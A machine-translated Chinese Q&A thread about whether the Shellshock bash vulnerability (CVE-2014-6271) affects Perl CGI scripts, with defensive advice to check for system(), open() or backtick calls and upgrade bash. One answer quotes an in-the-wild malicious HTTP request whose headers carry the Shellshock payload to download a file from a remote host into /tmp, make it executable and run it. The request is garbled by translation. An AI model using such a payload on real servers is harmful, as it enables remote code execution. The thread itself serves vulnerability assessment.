昨天报告了CVE-2014-6271问题,这是BASH Shellshock漏洞。 我试图了解它是否可以通过我的Perl CGI脚本影响我的服务器。
我的代码是否会以恶意方式受到影响 - 我的代码需要做些什么才能受到影响?我应该检查什么来验证这一点?
答案 0 :(得分:5)
是的,如果您的CGI脚本产生子shell,例如使用system()
或open()
函数或反引号,它会影响Perl。见this excellent Red Hat blog post。请注意,博客文章在任何重要方面都不是特定于Red Hat的。
检查你的Perl CGI脚本中的这些功能,首先升级为固定版本
答案 1 :(得分:0)
您可以尝试将特殊制作的字符串设置为HTTP服务器als Referrer,Cookie,Host或Accept标头,然后传递给(bash)CGI脚本:
获取./。HTTP / 1.0。用户代理:。谢谢 - 罗布 .Cookie:(){:;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; 。主持人:(){:;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Referer:(){:;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; 。接受: /
请将https://gist.github.com/anonymous/929d622f3b36b00c0be1视为野外恶意软件的真实示例。
如果您的Perl脚本没有拨打bash
(使用system
或open
),那么您应该是安全的。